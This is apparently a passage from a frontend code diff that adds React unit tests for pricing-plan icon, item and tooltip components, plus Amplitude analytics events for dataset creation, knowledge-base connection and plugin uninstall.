{planType === 'team' && <Team />}
|
||||
{planType === 'enterprise' && <Enterprise />}
|
||||
</div>
|
||||
)
|
||||
|
||||
const { container } = render(renderPlan('team'))
|
||||
|
||||
const svgs = container.querySelectorAll('svg')
|
||||
expect(svgs).toHaveLength(1)
|
||||
})
|
||||
|
||||
it('should support dynamic rendering from array', () => {
|
||||
const plans = [
|
||||
{ id: 'sandbox', Icon: Sandbox },
|
||||
{ id: 'professional', Icon: Professional },
|
||||
{ id: 'team', Icon: Team },
|
||||
{ id: 'enterprise', Icon: Enterprise },
|
||||
]
|
||||
|
||||
const { container } = render(
|
||||
<div>
|
||||
{plans.map(({ id, Icon }) => (
|
||||
<div key={id}>
|
||||
<Icon />
|
||||
</div>
|
||||
))}
|
||||
</div>,
|
||||
)
|
||||
|
||||
const svgs = container.querySelectorAll('svg')
|
||||
expect(svgs).toHaveLength(4)
|
||||
})
|
||||
})
|
||||
|
||||
describe('Performance', () => {
|
||||
it('should handle rapid re-renders efficiently', () => {
|
||||
const { container, rerender } = render(
|
||||
<div>
|
||||
<Sandbox />
|
||||
<Professional />
|
||||
</div>,
|
||||
)
|
||||
|
||||
// Simulate multiple re-renders
|
||||
for (let i = 0; i < 5; i++) {
|
||||
rerender(
|
||||
<div>
|
||||
<Team />
|
||||
<Enterprise />
|
||||
</div>,
|
||||
)
|
||||
}
|
||||
|
||||
const svgs = container.querySelectorAll('svg')
|
||||
expect(svgs).toHaveLength(2)
|
||||
})
|
||||
|
||||
it('should handle large lists efficiently', () => {
|
||||
const { container } = render(
|
||||
<div>
|
||||
{Array.from({ length: 20 }).map((_, i) => {
|
||||
const components = [Sandbox, Professional, Team, Enterprise]
|
||||
const Component = components[i % 4]
|
||||
return <Component key={i} />
|
||||
})}
|
||||
</div>,
|
||||
)
|
||||
|
||||
const svgs = container.querySelectorAll('svg')
|
||||
expect(svgs).toHaveLength(20)
|
||||
})
|
||||
})
|
||||
})
|
||||
|
|
@ -0,0 +1,172 @@
|
|||
import { render } from '@testing-library/react'
|
||||
import Professional from './professional'
|
||||
|
||||
describe('Professional Icon Component', () => {
|
||||
describe('Rendering', () => {
|
||||
it('should render without crashing', () => {
|
||||
const { container } = render(<Professional />)
|
||||
expect(container.firstChild).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should render an SVG element', () => {
|
||||
const { container } = render(<Professional />)
|
||||
const svg = container.querySelector('svg')
|
||||
expect(svg).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should have correct SVG attributes', () => {
|
||||
const { container } = render(<Professional />)
|
||||
const svg = container.querySelector('svg')
|
||||
|
||||
expect(svg).toHaveAttribute('xmlns', 'http://www.w3.org/2000/svg')
|
||||
expect(svg).toHaveAttribute('width', '32')
|
||||
expect(svg).toHaveAttribute('height', '32')
|
||||
expect(svg).toHaveAttribute('viewBox', '0 0 32 32')
|
||||
expect(svg).toHaveAttribute('fill', 'none')
|
||||
})
|
||||
|
||||
it('should render correct number of SVG rect elements', () => {
|
||||
const { container } = render(<Professional />)
|
||||
const rects = container.querySelectorAll('rect')
|
||||
|
||||
// Based on the component structure, it should have multiple rect elements
|
||||
expect(rects.length).toBeGreaterThan(0)
|
||||
})
|
||||
|
||||
it('should render elements with correct fill colors', () => {
|
||||
const { container } = render(<Professional />)
|
||||
const blueElements = container.querySelectorAll('[fill="var(--color-saas-dify-blue-inverted)"]')
|
||||
const quaternaryElements = container.querySelectorAll('[fill="var(--color-text-quaternary)"]')
|
||||
|
||||
expect(blueElements.length).toBeGreaterThan(0)
|
||||
expect(quaternaryElements.length).toBeGreaterThan(0)
|
||||
})
|
||||
})
|
||||
|
||||
describe('Component Behavior', () => {
|
||||
it('should render consistently across multiple renders', () => {
|
||||
const { container: container1 } = render(<Professional />)
|
||||
const { container: container2 } = render(<Professional />)
|
||||
|
||||
expect(container1.innerHTML).toBe(container2.innerHTML)
|
||||
})
|
||||
|
||||
it('should not be wrapped with React.memo', () => {
|
||||
// Professional component is exported directly without React.memo
|
||||
// This test ensures the component renders correctly without memoization
|
||||
const { container, rerender } = render(<Professional />)
|
||||
const firstRender = container.innerHTML
|
||||
|
||||
rerender(<Professional />)
|
||||
const secondRender = container.innerHTML
|
||||
|
||||
// Content should still be the same even without memoization
|
||||
expect(firstRender).toBe(secondRender)
|
||||
})
|
||||
})
|
||||
|
||||
describe('Accessibility', () => {
|
||||
it('should render as a decorative image (no accessibility concerns for icon)', () => {
|
||||
const { container } = render(<Professional />)
|
||||
const svg = container.querySelector('svg')
|
||||
|
||||
// SVG icons typically don't need aria-labels if they're decorative
|
||||
// This test ensures the SVG is present and renderable
|
||||
expect(svg).toBeInTheDocument()
|
||||
})
|
||||
})
|
||||
|
||||
describe('Edge Cases', () => {
|
||||
it('should handle multiple instances without conflicts', () => {
|
||||
const { container } = render(
|
||||
<>
|
||||
<Professional />
|
||||
<Professional />
|
||||
<Professional />
|
||||
</>,
|
||||
)
|
||||
|
||||
const svgs = container.querySelectorAll('svg')
|
||||
expect(svgs).toHaveLength(3)
|
||||
})
|
||||
|
||||
it('should maintain structure when wrapped in other elements', () => {
|
||||
const { container } = render(
|
||||
<div>
|
||||
<span>
|
||||
<Professional />
|
||||
</span>
|
||||
</div>,
|
||||
)
|
||||
|
||||
const svg = container.querySelector('svg')
|
||||
expect(svg).toBeInTheDocument()
|
||||
expect(svg?.getAttribute('width')).toBe('32')
|
||||
})
|
||||
|
||||
it('should render in different contexts without errors', () => {
|
||||
const { container } = render(
|
||||
<div className="test-wrapper">
|
||||
<Professional />
|
||||
</div>,
|
||||
)
|
||||
|
||||
const svg = container.querySelector('svg')
|
||||
expect(svg).toBeInTheDocument()
|
||||
})
|
||||
})
|
||||
|
||||
describe('CSS Variables', () => {
|
||||
it('should use CSS custom properties for colors', () => {
|
||||
const { container } = render(<Professional />)
|
||||
const elementsWithCSSVars = container.querySelectorAll('[fill*="var("]')
|
||||
|
||||
// All fill attributes should use CSS variables
|
||||
expect(elementsWithCSSVars.length).toBeGreaterThan(0)
|
||||
})
|
||||
|
||||
it('should have opacity attributes on quaternary elements', () => {
|
||||
const { container } = render(<Professional />)
|
||||
const quaternaryElements = container.querySelectorAll('[fill="var(--color-text-quaternary)"]')
|
||||
|
||||
quaternaryElements.forEach((element) => {
|
||||
expect(element).toHaveAttribute('opacity', '0.18')
|
||||
})
|
||||
})
|
||||
|
||||
it('should not have opacity on blue inverted elements', () => {
|
||||
const { container } = render(<Professional />)
|
||||
const blueElements = container.querySelectorAll('[fill="var(--color-saas-dify-blue-inverted)"]')
|
||||
|
||||
blueElements.forEach((element) => {
|
||||
expect(element).not.toHaveAttribute('opacity')
|
||||
})
|
||||
})
|
||||
})
|
||||
|
||||
describe('SVG Structure', () => {
|
||||
it('should have correct rect element structure', () => {
|
||||
const { container } = render(<Professional />)
|
||||
const rects = container.querySelectorAll('rect')
|
||||
|
||||
// Each rect should have specific attributes
|
||||
rects.forEach((rect) => {
|
||||
expect(rect).toHaveAttribute('width', '2')
|
||||
expect(rect).toHaveAttribute('height', '2')
|
||||
expect(rect).toHaveAttribute('rx', '1')
|
||||
expect(rect).toHaveAttribute('fill')
|
||||
})
|
||||
})
|
||||
|
||||
it('should maintain exact pixel positioning', () => {
|
||||
const { container } = render(<Professional />)
|
||||
const rects = container.querySelectorAll('rect')
|
||||
|
||||
// Ensure positioning attributes exist
|
||||
rects.forEach((rect) => {
|
||||
expect(rect).toHaveAttribute('x')
|
||||
expect(rect).toHaveAttribute('y')
|
||||
})
|
||||
})
|
||||
})
|
||||
})
|
||||
|
|
@ -0,0 +1,128 @@
|
|||
import { render } from '@testing-library/react'
|
||||
import React from 'react'
|
||||
import Sandbox from './sandbox'
|
||||
|
||||
describe('Sandbox Icon Component', () => {
|
||||
describe('Rendering', () => {
|
||||
it('should render without crashing', () => {
|
||||
const { container } = render(<Sandbox />)
|
||||
expect(container.firstChild).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should render an SVG element', () => {
|
||||
const { container } = render(<Sandbox />)
|
||||
const svg = container.querySelector('svg')
|
||||
expect(svg).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should have correct SVG attributes', () => {
|
||||
const { container } = render(<Sandbox />)
|
||||
const svg = container.querySelector('svg')
|
||||
|
||||
expect(svg).toHaveAttribute('xmlns', 'http://www.w3.org/2000/svg')
|
||||
expect(svg).toHaveAttribute('width', '32')
|
||||
expect(svg).toHaveAttribute('height', '32')
|
||||
expect(svg).toHaveAttribute('viewBox', '0 0 32 32')
|
||||
expect(svg).toHaveAttribute('fill', 'none')
|
||||
})
|
||||
|
||||
it('should render correct number of SVG elements', () => {
|
||||
const { container } = render(<Sandbox />)
|
||||
const rects = container.querySelectorAll('rect')
|
||||
const paths = container.querySelectorAll('path')
|
||||
|
||||
// Based on the component structure
|
||||
expect(rects.length).toBeGreaterThan(0)
|
||||
expect(paths.length).toBeGreaterThan(0)
|
||||
})
|
||||
|
||||
it('should render elements with correct fill colors', () => {
|
||||
const { container } = render(<Sandbox />)
|
||||
const blueElements = container.querySelectorAll('[fill="var(--color-saas-dify-blue-inverted)"]')
|
||||
const quaternaryElements = container.querySelectorAll('[fill="var(--color-text-quaternary)"]')
|
||||
|
||||
expect(blueElements.length).toBeGreaterThan(0)
|
||||
expect(quaternaryElements.length).toBeGreaterThan(0)
|
||||
})
|
||||
})
|
||||
|
||||
describe('Component Behavior', () => {
|
||||
it('should be memoized with React.memo', () => {
|
||||
// React.memo wraps the component, so the display name should indicate memoization
|
||||
// The component itself should be stable across re-renders
|
||||
const { rerender, container } = render(<Sandbox />)
|
||||
const firstRender = container.innerHTML
|
||||
|
||||
rerender(<Sandbox />)
|
||||
const secondRender = container.innerHTML
|
||||
|
||||
expect(firstRender).toBe(secondRender)
|
||||
})
|
||||
|
||||
it('should render consistently across multiple renders', () => {
|
||||
const { container: container1 } = render(<Sandbox />)
|
||||
const { container: container2 } = render(<Sandbox />)
|
||||
|
||||
expect(container1.innerHTML).toBe(container2.innerHTML)
|
||||
})
|
||||
})
|
||||
|
||||
describe('Accessibility', () => {
|
||||
it('should render as a decorative image (no accessibility concerns for icon)', () => {
|
||||
const { container } = render(<Sandbox />)
|
||||
const svg = container.querySelector('svg')
|
||||
|
||||
// SVG icons typically don't need aria-labels if they're decorative
|
||||
// This test ensures the SVG is present and renderable
|
||||
expect(svg).toBeInTheDocument()
|
||||
})
|
||||
})
|
||||
|
||||
describe('Edge Cases', () => {
|
||||
it('should handle multiple instances without conflicts', () => {
|
||||
const { container } = render(
|
||||
<>
|
||||
<Sandbox />
|
||||
<Sandbox />
|
||||
<Sandbox />
|
||||
</>,
|
||||
)
|
||||
|
||||
const svgs = container.querySelectorAll('svg')
|
||||
expect(svgs).toHaveLength(3)
|
||||
})
|
||||
|
||||
it('should maintain structure when wrapped in other elements', () => {
|
||||
const { container } = render(
|
||||
<div>
|
||||
<span>
|
||||
<Sandbox />
|
||||
</span>
|
||||
</div>,
|
||||
)
|
||||
|
||||
const svg = container.querySelector('svg')
|
||||
expect(svg).toBeInTheDocument()
|
||||
expect(svg?.getAttribute('width')).toBe('32')
|
||||
})
|
||||
})
|
||||
|
||||
describe('CSS Variables', () => {
|
||||
it('should use CSS custom properties for colors', () => {
|
||||
const { container } = render(<Sandbox />)
|
||||
const elementsWithCSSVars = container.querySelectorAll('[fill*="var("]')
|
||||
|
||||
// All fill attributes should use CSS variables
|
||||
expect(elementsWithCSSVars.length).toBeGreaterThan(0)
|
||||
})
|
||||
|
||||
it('should have opacity attributes on quaternary elements', () => {
|
||||
const { container } = render(<Sandbox />)
|
||||
const quaternaryElements = container.querySelectorAll('[fill="var(--color-text-quaternary)"]')
|
||||
|
||||
quaternaryElements.forEach((element) => {
|
||||
expect(element).toHaveAttribute('opacity', '0.18')
|
||||
})
|
||||
})
|
||||
})
|
||||
})
|
||||
|
|
@ -0,0 +1,199 @@
|
|||
import { render } from '@testing-library/react'
|
||||
import Team from './team'
|
||||
|
||||
describe('Team Icon Component', () => {
|
||||
describe('Rendering', () => {
|
||||
it('should render without crashing', () => {
|
||||
const { container } = render(<Team />)
|
||||
expect(container.firstChild).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should render an SVG element', () => {
|
||||
const { container } = render(<Team />)
|
||||
const svg = container.querySelector('svg')
|
||||
expect(svg).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should have correct SVG attributes', () => {
|
||||
const { container } = render(<Team />)
|
||||
const svg = container.querySelector('svg')
|
||||
|
||||
expect(svg).toHaveAttribute('xmlns', 'http://www.w3.org/2000/svg')
|
||||
expect(svg).toHaveAttribute('width', '32')
|
||||
expect(svg).toHaveAttribute('height', '32')
|
||||
expect(svg).toHaveAttribute('viewBox', '0 0 32 32')
|
||||
expect(svg).toHaveAttribute('fill', 'none')
|
||||
})
|
||||
|
||||
it('should render both rect and path elements', () => {
|
||||
const { container } = render(<Team />)
|
||||
const rects = container.querySelectorAll('rect')
|
||||
const paths = container.querySelectorAll('path')
|
||||
|
||||
// Team icon uses both rects and paths
|
||||
expect(rects.length).toBeGreaterThan(0)
|
||||
expect(paths.length).toBeGreaterThan(0)
|
||||
})
|
||||
|
||||
it('should render elements with correct fill colors', () => {
|
||||
const { container } = render(<Team />)
|
||||
const blueElements = container.querySelectorAll('[fill="var(--color-saas-dify-blue-inverted)"]')
|
||||
const quaternaryElements = container.querySelectorAll('[fill="var(--color-text-quaternary)"]')
|
||||
|
||||
expect(blueElements.length).toBeGreaterThan(0)
|
||||
expect(quaternaryElements.length).toBeGreaterThan(0)
|
||||
})
|
||||
})
|
||||
|
||||
describe('Component Behavior', () => {
|
||||
it('should render consistently across multiple renders', () => {
|
||||
const { container: container1 } = render(<Team />)
|
||||
const { container: container2 } = render(<Team />)
|
||||
|
||||
expect(container1.innerHTML).toBe(container2.innerHTML)
|
||||
})
|
||||
|
||||
it('should maintain stable output without memoization', () => {
|
||||
const { container, rerender } = render(<Team />)
|
||||
const firstRender = container.innerHTML
|
||||
|
||||
rerender(<Team />)
|
||||
const secondRender = container.innerHTML
|
||||
|
||||
expect(firstRender).toBe(secondRender)
|
||||
})
|
||||
})
|
||||
|
||||
describe('Accessibility', () => {
|
||||
it('should render as a decorative image', () => {
|
||||
const { container } = render(<Team />)
|
||||
const svg = container.querySelector('svg')
|
||||
|
||||
expect(svg).toBeInTheDocument()
|
||||
})
|
||||
|
||||
it('should be usable in accessible contexts', () => {
|
||||
const { container } = render(
|
||||
<div role="img" aria-label="Team plan">
|
||||
<Team />
|
||||
</div>,
|
||||
)
|
||||
|
||||
const wrapper = container.querySelector('[role="img"]')
|
||||
expect(wrapper).toBeInTheDocument()
|
||||
expect(wrapper).toHaveAttribute('aria-label', 'Team plan')
|
||||
})
|
||||
})
|
||||
|
||||
describe('Edge Cases', () => {
|
||||
it('should handle multiple instances without conflicts', () => {
|
||||
const { container } = render(
|
||||
<>
|
||||
<Team />
|
||||
<Team />
|
||||
<Team />
|
||||
</>,
|
||||
)
|
||||
|
||||
const svgs = container.querySelectorAll('svg')
|
||||
expect(svgs).toHaveLength(3)
|
||||
})
|
||||
|
||||
it('should maintain structure when wrapped in other elements', () => {
|
||||
const { container } = render(
|
||||
<div>
|
||||
<span>
|
||||
<Team />
|
||||
</span>
|
||||
</div>,
|
||||
)
|
||||
|
||||
const svg = container.querySelector('svg')
|
||||
expect(svg).toBeInTheDocument()
|
||||
expect(svg?.getAttribute('width')).toBe('32')
|
||||
})
|
||||
|
||||
it('should render correctly in list context', () => {
|
||||
const { container } = render(
|
||||
<ul>
|
||||
<li>
|
||||
<Team />
|
||||
</li>
|
||||
<li>
|
||||
<Team />
|
||||
</li>
|
||||
</ul>,
|
||||
)
|
||||
|
||||
const svgs = container.querySelectorAll('svg')
|
||||
expect(svgs).toHaveLength(2)
|
||||
})
|
||||
})
|
||||
|
||||
describe('CSS Variables', () => {
|
||||
it('should use CSS custom properties for colors', () => {
|
||||
const { container } = render(<Team />)
|
||||
const elementsWithCSSVars = container.querySelectorAll('[fill*="var("]')
|
||||
|
||||
expect(elementsWithCSSVars.length).toBeGreaterThan(0)
|
||||
})
|
||||
|
||||
it('should have opacity attributes on quaternary path elements', () => {
|
||||
const { container } = render(<Team />)
|
||||
const quaternaryPaths = container.querySelectorAll('path[fill="var(--color-text-quaternary)"]')
|
||||
|
||||
quaternaryPaths.forEach((path) => {
|
||||
expect(path).toHaveAttribute('opacity', '0.18')
|
||||
})
|
||||
})
|
||||
|
||||
it('should not have opacity on blue inverted elements', () => {
|
||||
const { container } = render(<Team />)
|
||||
const blueRects = container.querySelectorAll('rect[fill="var(--color-saas-dify-blue-inverted)"]')
|
||||
|
||||
blueRects.forEach((rect) => {
|
||||
expect(rect).not.toHaveAttribute('opacity')
|
||||
})
|
||||
})
|
||||
})
|
||||
|
||||
describe('SVG Structure', () => {
|
||||
it('should have correct rect element attributes', () => {
|
||||
const { container } = render(<Team />)
|
||||
const rects = container.querySelectorAll('rect')
|
||||
|
||||
rects.forEach((rect) => {
|
||||
expect(rect).toHaveAttribute('x')
|
||||
expect(rect).toHaveAttribute('y')
|
||||
expect(rect).toHaveAttribute('width', '2')
|
||||
expect(rect).toHaveAttribute('height', '2')
|
||||
expect(rect).toHaveAttribute('rx', '1')
|
||||
expect(rect).toHaveAttribute('fill')
|
||||
})
|
||||
})
|
||||
|
||||
it('should have correct path element structure', () => {
|
||||
const { container } = render(<Team />)
|
||||
const paths = container.querySelectorAll('path')
|
||||
|
||||
paths.forEach((path) => {
|
||||
expect(path).toHaveAttribute('d')
|
||||
expect(path).toHaveAttribute('fill')
|
||||
})
|
||||
})
|
||||
|
||||
it('should maintain proper element positioning', () => {
|
||||
const { container } = render(<Team />)
|
||||
const svg = container.querySelector('svg')
|
||||
|
||||
expect(svg?.childNodes.length).toBeGreaterThan(0)
|
||||
})
|
||||
})
|
||||
|
||||
describe('Export', () => {
|
||||
it('should be the default export', () => {
|
||||
expect(Team).toBeDefined()
|
||||
expect(typeof Team).toBe('function')
|
||||
})
|
||||
})
|
||||
})
|
||||
|
|
@ -0,0 +1,52 @@
|
|||
import { render, screen } from '@testing-library/react'
|
||||
import Item from './index'
|
||||
|
||||
describe('Item', () => {
|
||||
beforeEach(() => {
|
||||
jest.clearAllMocks()
|
||||
})
|
||||
|
||||
// Rendering the plan item row
|
||||
describe('Rendering', () => {
|
||||
it('should render the provided label when tooltip is absent', () => {
|
||||
// Arrange
|
||||
const label = 'Monthly credits'
|
||||
|
||||
// Act
|
||||
const { container } = render(<Item label={label} />)
|
||||
|
||||
// Assert
|
||||
expect(screen.getByText(label)).toBeInTheDocument()
|
||||
expect(container.querySelector('.group')).toBeNull()
|
||||
})
|
||||
})
|
||||
|
||||
// Toggling the optional tooltip indicator
|
||||
describe('Tooltip behavior', () => {
|
||||
it('should render tooltip content when tooltip text is provided', () => {
|
||||
// Arrange
|
||||
const label = 'Workspace seats'
|
||||
const tooltip = 'Seats define how many teammates can join the workspace.'
|
||||
|
||||
// Act
|
||||
const { container } = render(<Item label={label} tooltip={tooltip} />)
|
||||
|
||||
// Assert
|
||||
expect(screen.getByText(label)).toBeInTheDocument()
|
||||
expect(screen.getByText(tooltip)).toBeInTheDocument()
|
||||
expect(container.querySelector('.group')).not.toBeNull()
|
||||
})
|
||||
|
||||
it('should treat an empty tooltip string as absent', () => {
|
||||
// Arrange
|
||||
const label = 'Vector storage'
|
||||
|
||||
// Act
|
||||
const { container } = render(<Item label={label} tooltip='' />)
|
||||
|
||||
// Assert
|
||||
expect(screen.getByText(label)).toBeInTheDocument()
|
||||
expect(container.querySelector('.group')).toBeNull()
|
||||
})
|
||||
})
|
||||
})
|
||||
|
|
@ -0,0 +1,46 @@
|
|||
import { render, screen } from '@testing-library/react'
|
||||
import Tooltip from './tooltip'
|
||||
|
||||
describe('Tooltip', () => {
|
||||
beforeEach(() => {
|
||||
jest.clearAllMocks()
|
||||
})
|
||||
|
||||
// Rendering the info tooltip container
|
||||
describe('Rendering', () => {
|
||||
it('should render the content panel when provide with text', () => {
|
||||
// Arrange
|
||||
const content = 'Usage resets on the first day of every month.'
|
||||
|
||||
// Act
|
||||
render(<Tooltip content={content} />)
|
||||
|
||||
// Assert
|
||||
expect(() => screen.getByText(content)).not.toThrow()
|
||||
})
|
||||
})
|
||||
|
||||
describe('Icon rendering', () => {
|
||||
it('should render the icon when provided with content', () => {
|
||||
// Arrange
|
||||
const content = 'Tooltips explain each plan detail.'
|
||||
|
||||
// Act
|
||||
render(<Tooltip content={content} />)
|
||||
|
||||
// Assert
|
||||
expect(screen.getByTestId('tooltip-icon')).toBeInTheDocument()
|
||||
})
|
||||
})
|
||||
|
||||
// Handling empty strings while keeping structure consistent
|
||||
describe('Edge cases', () => {
|
||||
it('should render without crashing when passed empty content', () => {
|
||||
// Arrange
|
||||
const content = ''
|
||||
|
||||
// Act and Assert
|
||||
expect(() => render(<Tooltip content={content} />)).not.toThrow()
|
||||
})
|
||||
})
|
||||
})
|
||||
|
|
@ -8,13 +8,15 @@ type TooltipProps = {
|
|||
const Tooltip = ({
|
||||
content,
|
||||
}: TooltipProps) => {
|
||||
if (!content)
|
||||
return null
|
||||
return (
|
||||
<div className='group relative z-10 size-[18px] overflow-visible'>
|
||||
<div className='system-xs-regular absolute bottom-0 right-0 -z-10 hidden w-[260px] bg-saas-dify-blue-static px-5 py-[18px] text-text-primary-on-surface group-hover:block'>
|
||||
{content}
|
||||
</div>
|
||||
<div className='flex h-full w-full items-center justify-center rounded-[4px] bg-state-base-hover transition-all duration-500 ease-in-out group-hover:rounded-none group-hover:bg-saas-dify-blue-static'>
|
||||
<RiInfoI className='size-3.5 text-text-tertiary group-hover:text-text-primary-on-surface' />
|
||||
<RiInfoI className='size-3.5 text-text-tertiary group-hover:text-text-primary-on-surface' data-testid="tooltip-icon" />
|
||||
</div>
|
||||
</div>
|
||||
)
|
||||
|
|
|
|||
|
|
@ -5,6 +5,7 @@ import { useCreatePipelineDataset } from '@/service/knowledge/use-create-dataset
|
|||
import { useInvalidDatasetList } from '@/service/knowledge/use-dataset'
|
||||
import Toast from '@/app/components/base/toast'
|
||||
import { useRouter } from 'next/navigation'
|
||||
import { trackEvent } from '@/app/components/base/amplitude'
|
||||
|
||||
const CreateCard = () => {
|
||||
const { t } = useTranslation()
|
||||
|
|
@ -23,6 +24,9 @@ const CreateCard = () => {
|
|||
message: t('datasetPipeline.creation.successTip'),
|
||||
})
|
||||
invalidDatasetList()
|
||||
trackEvent('create_datasets_from_scratch', {
|
||||
dataset_id: id,
|
||||
})
|
||||
push(`/datasets/${id}/pipeline`)
|
||||
}
|
||||
},
|
||||
|
|
|
|||
|
|
@ -19,6 +19,7 @@ import Content from './content'
|
|||
import Actions from './actions'
|
||||
import { useCreatePipelineDatasetFromCustomized } from '@/service/knowledge/use-create-dataset'
|
||||
import { useInvalidDatasetList } from '@/service/knowledge/use-dataset'
|
||||
import { trackEvent } from '@/app/components/base/amplitude'
|
||||
|
||||
type TemplateCardProps = {
|
||||
pipeline: PipelineTemplate
|
||||
|
|
@ -66,6 +67,11 @@ const TemplateCard = ({
|
|||
invalidDatasetList()
|
||||
if (newDataset.pipeline_id)
|
||||
await handleCheckPluginDependencies(newDataset.pipeline_id, true)
|
||||
trackEvent('create_datasets_with_pipeline', {
|
||||
template_name: pipeline.name,
|
||||
template_id: pipeline.id,
|
||||
template_type: type,
|
||||
})
|
||||
push(`/datasets/${newDataset.dataset_id}/pipeline`)
|
||||
},
|
||||
onError: () => {
|
||||
|
|
@ -75,7 +81,7 @@ const TemplateCard = ({
|
|||
})
|
||||
},
|
||||
})
|
||||
}, [getPipelineTemplateInfo, createDataset, t, handleCheckPluginDependencies, push, invalidDatasetList])
|
||||
}, [getPipelineTemplateInfo, createDataset, t, handleCheckPluginDependencies, push, invalidDatasetList, pipeline.name, pipeline.id, type])
|
||||
|
||||
const handleShowTemplateDetails = useCallback(() => {
|
||||
setShowDetailModal(true)
|
||||
|
|
|
|||
|
|
@ -12,6 +12,7 @@ import Button from '@/app/components/base/button'
|
|||
import { ToastContext } from '@/app/components/base/toast'
|
||||
import { createEmptyDataset } from '@/service/datasets'
|
||||
import { useInvalidDatasetList } from '@/service/knowledge/use-dataset'
|
||||
import { trackEvent } from '@/app/components/base/amplitude'
|
||||
|
||||
type IProps = {
|
||||
show: boolean
|
||||
|
|
@ -40,6 +41,10 @@ const EmptyDatasetCreationModal = ({
|
|||
try {
|
||||
const dataset = await createEmptyDataset({ name: inputValue })
|
||||
invalidDatasetList()
|
||||
trackEvent('create_empty_datasets', {
|
||||
name: inputValue,
|
||||
dataset_id: dataset.id,
|
||||
})
|
||||
onHide()
|
||||
router.push(`/datasets/${dataset.id}/documents`)
|
||||
}
|
||||
|
|
|
|||
|
|
@ -64,6 +64,7 @@ import { noop } from 'lodash-es'
|
|||
import { useDocLink } from '@/context/i18n'
|
||||
import { useInvalidDatasetList } from '@/service/knowledge/use-dataset'
|
||||
import { checkShowMultiModalTip } from '../../settings/utils'
|
||||
import { trackEvent } from '@/app/components/base/amplitude'
|
||||
|
||||
const TextLabel: FC<PropsWithChildren> = (props) => {
|
||||
return <label className='system-sm-semibold text-text-secondary'>{props.children}</label>
|
||||
|
|
@ -568,6 +569,10 @@ const StepTwo = ({
|
|||
if (mutateDatasetRes)
|
||||
mutateDatasetRes()
|
||||
invalidDatasetList()
|
||||
trackEvent('create_datasets', {
|
||||
data_source_type: dataSourceType,
|
||||
indexing_technique: getIndexing_technique(),
|
||||
})
|
||||
onStepChange?.(+1)
|
||||
if (isSetting)
|
||||
onSave?.()
|
||||
|
|
|
|||
|
|
@ -40,6 +40,7 @@ import UpgradeCard from '../../create/step-one/upgrade-card'
|
|||
import Divider from '@/app/components/base/divider'
|
||||
import { useBoolean } from 'ahooks'
|
||||
import PlanUpgradeModal from '@/app/components/billing/plan-upgrade-modal'
|
||||
import { trackEvent } from '@/app/components/base/amplitude'
|
||||
|
||||
const CreateFormPipeline = () => {
|
||||
const { t } = useTranslation()
|
||||
|
|
@ -343,6 +344,10 @@ const CreateFormPipeline = () => {
|
|||
setBatchId((res as PublishedPipelineRunResponse).batch || '')
|
||||
setDocuments((res as PublishedPipelineRunResponse).documents || [])
|
||||
handleNextStep()
|
||||
trackEvent('dataset_document_added', {
|
||||
data_source_type: datasourceType,
|
||||
indexing_technique: 'pipeline',
|
||||
})
|
||||
},
|
||||
})
|
||||
}, [dataSourceStore, datasource, datasourceType, handleNextStep, pipelineId, runPublishedPipeline])
|
||||
|
|
|
|||
|
|
@ -6,6 +6,7 @@ import { useToastContext } from '@/app/components/base/toast'
|
|||
import ExternalKnowledgeBaseCreate from '@/app/components/datasets/external-knowledge-base/create'
|
||||
import type { CreateKnowledgeBaseReq } from '@/app/components/datasets/external-knowledge-base/create/declarations'
|
||||
import { createExternalKnowledgeBase } from '@/service/datasets'
|
||||
import { trackEvent } from '@/app/components/base/amplitude'
|
||||
|
||||
const ExternalKnowledgeBaseConnector = () => {
|
||||
const { notify } = useToastContext()
|
||||
|
|
@ -18,6 +19,10 @@ const ExternalKnowledgeBaseConnector = () => {
|
|||
const result = await createExternalKnowledgeBase({ body: formValue })
|
||||
if (result && result.id) {
|
||||
notify({ type: 'success', message: 'External Knowledge Base Connected Successfully' })
|
||||
trackEvent('create_external_knowledge_base', {
|
||||
provider: formValue.provider,
|
||||
name: formValue.name,
|
||||
})
|
||||
router.back()
|
||||
}
|
||||
else { throw new Error('Failed to create external knowledge base') }
|
||||
|
|
|
|||
|
|
@ -44,6 +44,7 @@ import { AUTO_UPDATE_MODE } from '../reference-setting-modal/auto-update-setting
|
|||
import { convertUTCDaySecondsToLocalSeconds, timeOfDayToDayjs } from '../reference-setting-modal/auto-update-setting/utils'
|
||||
import type { PluginDetail } from '../types'
|
||||
import { PluginCategoryEnum, PluginSource } from '../types'
|
||||
import { trackEvent } from '@/app/components/base/amplitude'
|
||||
|
||||
const i18nPrefix = 'plugin.action'
|
||||
|
||||
|
|
@ -212,8 +213,9 @@ const DetailHeader = ({
|
|||
refreshModelProviders()
|
||||
if (PluginCategoryEnum.tool.includes(category))
|
||||
invalidateAllToolProviders()
|
||||
trackEvent('plugin_uninstalled', { plugin_id, plugin_name: name })
|
||||
}
|
||||
}, [showDeleting, id, hideDeleting, hideDeleteConfirm, onUpdate, category, refreshModelProviders, invalidateAllToolProviders])
|
||||
}, [showDeleting, id, hideDeleting, hideDeleteConfirm, onUpdate, category, refreshModelProviders, invalidateAllToolProviders, plugin_id, name])
|
||||
|
||||
return (
|
||||
<div className={cn('shrink-0 border-b border-divider-subtle bg-components-panel-bg p-4 pb-3', isReadmeView && 'border-b-0 bg-transparent p-0')}>
|
||||
|
|
|
|||
|
|
@ -21,6 +21,7 @@ import { useDataSourceStore, useDataSourceStoreWithSelector } from '@/app/compon
|
|||
import { useShallow } from 'zustand/react/shallow'
|
||||
import { useWorkflowStore } from '@/app/components/workflow/store'
|
||||
import StepIndicator from './step-indicator'
|
||||
import { trackEvent } from '@/app/components/base/amplitude'
|
||||
|
||||
const Preparation = () => {
|
||||
const {
|
||||
|
|
@ -121,6 +122,7 @@ const Preparation = () => {
|
|||
datasource_type: datasourceType,
|
||||
datasource_info_list: datasourceInfoList,
|
||||
})
|
||||
trackEvent('pipeline_start_action_time', { action_type: 'document_processing' })
|
||||
setIsPreparingDataSource?.(false)
|
||||
}, [dataSourceStore, datasource, datasourceType, handleRun, workflowStore])
|
||||
|
||||
|
|
|
|||
|
|
@ -47,6 +47,7 @@ import { useModalContextSelector } from '@/context/modal-context'
|
|||
import Link from 'next/link'
|
||||
import { useDatasetApiAccessUrl } from '@/hooks/use-api-access-url'
|
||||
